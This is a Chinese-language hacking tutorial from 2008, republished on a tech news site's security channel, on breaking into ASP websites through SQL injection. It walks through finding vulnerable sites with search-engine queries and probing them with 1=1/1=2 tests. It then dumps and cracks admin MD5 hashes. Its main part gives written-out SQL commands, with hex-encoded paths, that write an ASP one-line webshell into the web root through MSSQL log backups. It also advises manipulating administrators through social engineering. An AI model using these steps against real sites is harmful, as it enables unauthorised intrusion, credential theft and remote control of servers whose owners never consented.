科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道注射入侵全攻略

注射入侵全攻略

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

本教程入侵思路及流程:

来源:论坛整理 2008年8月24日

关键字: 网络安全 攻击防范 入侵

  • 评论
  • 分享微博
  • 分享邮件
本教程入侵思路及流程:
一. 寻找并获得具有一定权限的注射漏洞网站

二. 找出的注射漏洞网站一般分两种数据库类型(mmsql 和access),那么不同的数据库类型当然需要不同的入侵方法。

1. mmsql数据库:
  一是通过注射点爆出管理员用户和密码,找出后台登录,进一步提升权限。
            二是通过注射点猜解网站所在服务器上的物理路径,从而进行差异备份插入一句话木马客户端,
        获得webshell后进一步进行权限提升。

2.access数据库:对于这种数据库就只能是去爆管理的用户密码,或者其他用户资料,
                    然后进行后台登录。
    
    成功登录后台后获取webshell的方法一般是:
        1.cookie欺骗上传asp后门,如果能直接上传asp马那算你运气好
        2.在无法上传asp后门的情况下,上传图片文件后进行数据库操作功能备份成asp格式。


    在网络安全攻与防之间有一门很重要的学问和艺术 社会工程学
    
    社会工程学就是使人们顺从你的意愿、满足你的欲望。
    举个例子:在你发现一台有漏洞的目标服务器 却被断开网络(物理隔离)也就成了最安全的计算机,然而你却能运用这门学问说服某人(admin)把这台有漏洞的已经隔离的计算机连上网络。
    利用自己的思维去揣摩别人的心理,促使其发生的非主意识的行为。运用灵活的复杂的人际关系来获许想要得到的信息。
    如何很好的利用社会工程学,前提是对网络安全各方面都要有一定的了解和自己的认识。也就是个人的综合能力,在遇到一些问题后能够运用自己所掌握的知识和学问独立的去解决一些实际问题。
           
题外话:当然入侵一个站点需要很好的运气,说运气不如说是目标服务器的管理员大意疏忽的一些漏洞和bug被你挖掘到了,那恭喜。

下面我们切入正题:
实例中需要运用到的工具:

流行注射工具:NBSI3、啊D-SQL注射工具 明小子web综合检测工具

一.通过baidu google 简单找注射漏洞网站。
我们进入baidu或google的高级搜索选项,以baidu为例如图1
我们要搜索内容是  被baidu收录的 具有黑客关键字的网站连接地址并且含有 asp?的网址(URL)。
我们就可以从中寻找具有注射漏洞的网址。
例:http://www.xxx.asp.com/show.asp?id=1
判断能否进行SQL注入:我们直接在后面加单引号’如果返回出错页面或许存在注射点。如果网站管理员对sql注入有点了解把单引号过滤掉了你用单引号测试,是测不到注入点的。
那么哪种判断方法准确呢?下面就是为你介绍的经典的1=1、1=2测试法了。看例:
http://www.xxx.asp.com/show.asp?id=1
http://www.xxx.asp.com/show.asp?id=1 ;;and 1=1
http://www.xxx.asp.com/show.asp?id=1 ;;and 1=2
            看上面三个网址返回的结果:可以注入的表现:
            ① 正常显示
            ② 正常显示,内容基本与①相同
            ③ 返回出错页面或提示找不到记录、或显示内容为空。
           
            不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。
            可以用一些注射相关的工具自行判断注射点如图2,
推荐这种方法,但原理还需掌握。

  本教程的主题及篇幅有限,其他相关的我就不多介绍了,大家去找些关于sql原理的文章或教程看看。

二. 入侵思路及过程

access数据库:对于这种数据库就只能是去爆管理的用户密码,或者其他用户资料,然后进行后台登录。

    以工具为例,注射爆出管理员用户及密码(一般MD5加密)如图3,
手工破解原理我会在附带教程里打包建议大家看sql注入天书。
    进入http://www.xmd5.com/http://www.cmd5.com/ 对md5 密文进行爆破。当然可以尝试暴力破解。得到解密后密码如图4
        找出后台地址,登录后台,获取webshell。如图5
   
        mmsql数据库: 爆管理员密码和access数据库类似,这里就不多讲。sql注射中的DB_OWNER角色如果把sa等同于administrator的话DB_OWNER角色相当于user权限。Sa权限的话既然是administrator,那提权就不多讲。这里讲下相当于user 的DB_OWNER权限获得webshell方法。以前通常用backup,但是如果对于大站数据库庞大,成功率可想而知。后来有了差异备份,将马的代码插入到数据库中,然后备份前后数据的差异部分。这样比直接将数据库备份在体积上大大缩小了。然而数据库内的一些数据由于偶然与备份后的代码冲突而出错导致失败,成功率仍然很低。现在最有效的方法是导出日志获得webshell。
     
     先要了解DB_OWNER权限下通过以上方法获取webshell的一些必要条件。
1. Web和数据库在同一服务器
2. 已经得到网站绝对路径
3. 你要备份到的目的目录有写的权限
4. 有backup的权限
    下面实例讲解:
    注射点:http://www.xxxxx.dk/off_vis_film.asp?id=154  用工具啊D检测情况如图6
    接下来试试列目录的功能,如果能列目录,仔细找,只要不是数据库与web分离的,就能找网站目录。这是个苦力活耐心点。

alter database ZZZZ set RECOVERY FULL
create table cmd (a image)
backup log ZZZZ to disk = 'c:\Sammy' with init
insert into cmd (a) values ('<%Execute(request("a"))%>')
backup log ZZZZ to disk = 'c:\web\ma.asp'
[这里ZZZZ表示数据库名
c:\web\ 表示网站绝对路径  <%Execute(request("a"))%> 一句话马]
实际操作过程中,我们把字符转换下:
先执行: alter database XXXX set RECOVERY FULL ? ? ? ? ? ? ? ? //把数据库日志备份类型转换为int

第 一 步: 新建一个临时表
create table [dbo].[shit_tmp] ([cmd] [image])--
第 二 步 备份数据库日志
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x633A5C53616D6D79 backup log @a to disk = @s with init,no_truncate—
(0x633A5C53616D6D79 = c:\Sammy)
第 三 步 插入一句话马
Insert into [shit_tmp](cmd) values(0x3C25457865637574652872657175657374282261222929253E)—
(0x3C25457865637574652872657175657374282261222929253E =<%Execute(request("a"))%>)
第 四 步 导出日志到网站目录下
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s= 0x63003A005C007800780078005C0032002E00610073007000 backup log @a to disk=@s with init,no_truncate—
(0x63003A005C007800780078005C0032002E00610073007000 =c:\web\ma.asp)
第 五 步 删除临时表。
Drop table [shit_tmp]—
现在已经有人写出了工具getwebshell如图7。
工具和本文章课件会在配套教程里一起打包。

备份成功后浏览该文件应该像这样出现乱码如图8。
我们用一句话木马的控制端写入一句话代码如图9。
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章